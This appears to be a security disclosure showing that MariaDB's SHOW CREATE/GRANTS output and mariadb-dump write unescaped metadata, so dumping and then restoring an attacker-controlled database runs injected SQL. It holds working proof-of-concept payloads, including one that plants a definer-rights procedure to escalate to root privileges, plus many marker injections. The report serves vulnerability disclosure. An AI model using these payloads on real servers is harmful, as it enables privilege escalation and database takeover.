`SHOW [CREATE|GRANTS] ...` / `mariadb-dump` Unescaped SQL Generation

How it was found

MariaDB has several SHOW ... paths that output SQL built from stored metadata that is not appropriately escaped.

While not necessarily a vulnerability in the server itself, it opens an attack surface where a privileged user / service helper script exports an attacker controlled database with something like mariadb-dump and then imports the generated SQL elsewhere - potentially running any attacker injected SQL with elevated privileges.

Proof of Concept

A typical attacker controlled injection payload might look something like the following:

CREATE TABLE poc (
  id INT
)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped/'';CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;GRANT EXECUTE ON PROCEDURE vf_exec TO ''attacker''@''localhost''; -- ';

SHOW CREATE TABLE poc; / mariadb-dump would then output:

CREATE TABLE `poc` (
  `id` int(11) DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci DATA DIRECTORY='/tmp/mdb-show-unescaped/';
CREATE PROCEDURE vf_exec(q TEXT) SQL SECURITY DEFINER EXECUTE IMMEDIATE q;
GRANT EXECUTE ON PROCEDURE vf_exec TO 'attacker'@'localhost'; -- /';

If the db is then dumped and restored by privileged user, e.g.

mariadb-dump -uroot attacker_old > attacker.sql;
mariadb -uroot attacker_new < attacker.sql;

'attacker'@'localhost' is then able to execute commands on attacker_new as the importing user, e.g.

CALL vf_exec( 'SHOW GRANTS' );

GRANT ALL PRIVILEGES ON *.* TO `root`@`localhost` WITH GRANT OPTION

A (non-comprehensive) list of injection points is included below, but the TL;DR is that all untrusted identifiers, literals, comments etc should be correctly escaped when outputting dynamically generated SQL queries.

-- create some helper directories with InnoDB so we can use MyISAM for poc
CREATE TABLE make_data_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*';

CREATE TABLE make_index_dir (id INT)
ENGINE=InnoDB
DATA DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- ';

DROP TABLE make_data_dir, make_index_dir;

-- ignore the intentionally bad table option below
SET SESSION sql_mode='IGNORE_BAD_TABLE_OPTIONS';

CREATE TABLE poc (
  id INT,
  KEY(id)
)
ENGINE=MyISAM
DATA DIRECTORY='/tmp/mdb-show-unescaped-data''; SELECT ''<INJECTION:DATA_DIRECTORY>''; /*'
INDEX DIRECTORY='/tmp/mdb-show-unescaped-index*/; SELECT ''<INJECTION:INDEX_DIRECTORY>''; -- '
unknown_opt='*/; SELECT "<INJECTION:BAD_OPTION>"; ALTER TABLE poc /*';

SET SESSION sql_mode='';

SHOW CREATE TABLE poc;

CREATE TABLE `poc` (
  `id` int(11) DEFAULT NULL,
  KEY `id` (`id`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_uca1400_ai_ci /* `unknown_opt`='*/;
SELECT "<INJECTION:BAD_OPTION>";
ALTER TABLE poc /*' */ DATA DIRECTORY='/tmp/mdb-show-unescaped-data';
SELECT '<INJECTION:DATA_DIRECTORY>';
/*/' INDEX DIRECTORY='/tmp/mdb-show-unescaped-index*/;
SELECT '<INJECTION:INDEX_DIRECTORY>';
-- /'

The next few require elevated privs to begin with, but are included because we should be escaping things correctly everywhere.

CREATE USER 'poc'@'localhost'
  IDENTIFIED VIA unix_socket
  USING 'x''; SELECT ''<INJECTION:AUTH_STRING>''; /*'
  REQUIRE SUBJECT '*/; SELECT ''<INJECTION:SSL_SUBJECT>''; -- ';

CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';

GRANT PROXY ON
  'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost'
TO
  'poc'@'localhost';

SHOW CREATE USER 'poc'@'localhost';
SHOW CREATE USER 'poc''@''localhost'' TO ''poc''@''localhost''; SELECT ''<INJECTION:PROXY>''; -- '@'localhost';

SHOW GRANTS FOR 'poc'@'localhost';

CREATE USER `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';

CREATE USER `poc'@'localhost' TO 'poc'@'localhost'; SELECT '<INJECTION:PROXY>'; -- `@`localhost`;

GRANT USAGE ON *.* TO `poc`@`localhost`
IDENTIFIED VIA unix_socket
USING 'x';
SELECT '<INJECTION:AUTH_STRING>';
/*' REQUIRE SUBJECT '*/;
SELECT '<INJECTION:SSL_SUBJECT>';

GRANT PROXY ON 'poc'@'localhost' TO 'poc'@'localhost';
SELECT '<INJECTION:PROXY>';

CREATE SERVER poc
FOREIGN DATA WRAPPER `mysql OPTIONS (HOST '127.0.0.1'); SELECT '<INJECTION:SERVER_WRAPPER>'; -- `
OPTIONS (
  HOST '127.0.0.1',
  DATABASE 'db',
  USER 'u',
  PASSWORD 'p',
  PORT 3306
);

SHOW CREATE SERVER poc;

CREATE SERVER `poc` FOREIGN DATA WRAPPER mysql OPTIONS (HOST '127.0.0.1');
SELECT '<INJECTION:SERVER_WRAPPER>';
--  OPTIONS (HOST '127.0.0.1', DATABASE 'db', USER 'u', PASSWORD 'p', PORT '3306');

Same same but different ...

In addition to SHOW [CREATE|GRANTS] ... not escaping output correctly, mariadb-dump may also output dynamically generated SQL queries without using the appropriate escaping. e.g.

mariadb-dump --add-drop-trigger

Malicious trigger names can be used to only inject when mariadb-dump adds a the drop trigger.

CREATE TABLE poc(i INT);

CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id;

SHOW CREATE TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`;

The output from SHOW CREATE TRIGGER is escaped fine here

CREATE DEFINER=`attacker`@`localhost` TRIGGER `poc*/; SELECT '<INJECTION:DUMP_TRIGGER>'; /*`
BEFORE INSERT ON poc
FOR EACH ROW
SET NEW.id = NEW.id

but by adding the drop trigger, mariadb-dump outputs

/*!50032 DROP TRIGGER IF EXISTS poc*/;
SELECT '<INJECTION:DUMP_TRIGGER>';
/* */;

mariadb-dump --system=udfs

Likewise with function names (an even more highly unlikely attack scenario, but added here for completeness - though there might also be other areas which should also be fixed).

INSERT INTO mysql.func(name, ret, dl, type)
VALUES(
  'mysql.f() RETURNS INT RETURN 1;SELECT ''<INJECTION:UDF_NAME>'';#',
  0,
  'x.so',
  'function'
);

mariadb-dump will SELECT * FROM mysql.func but reconstruct the CREATE FUNCTION ... output without the proper escaping, e.g.

CREATE FUNCTION mysql.f() RETURNS INT RETURN 1;
SELECT '<INJECTION:UDF_NAME>';
# RETURNS STRING SONAME 'x.so';

mariadb-dump --dump-slave

Slaves too ...

CHANGE MASTER TO
  MASTER_HOST='h'', MASTER_PORT=3306, MASTER_LOG_FILE=''bin.000001'', MASTER_LOG_POS=4; SELECT ''<INJECTION:DUMP_SLAVE>''; -- ',
  MASTER_PORT=3306,
  MASTER_LOG_FILE='bin.000001',
  MASTER_LOG_POS=4;

SELECT
  Connection_name,
  Master_Host,
  Master_Port,
  Relay_Master_Log_File,
  Exec_Master_Log_Pos
FROM information_schema.SLAVE_STATUS;

and mariadb-dump will then output

CHANGE MASTER '' TO MASTER_HOST='h', MASTER_PORT=3306, MASTER_LOG_FILE='bin.000001', MASTER_LOG_POS=4;
SELECT '<INJECTION:DUMP_SLAVE>';
-- ', MASTER_PORT=3306, MASTER_LOG_FILE='bin.000001', MASTER_LOG_POS=4;

Impact

Admin / migration script helpers may unknowingly create SQL output containing attacker injected queries if ran against an attacker controlled db. Importing this SQL then executes those commands as the user running the import.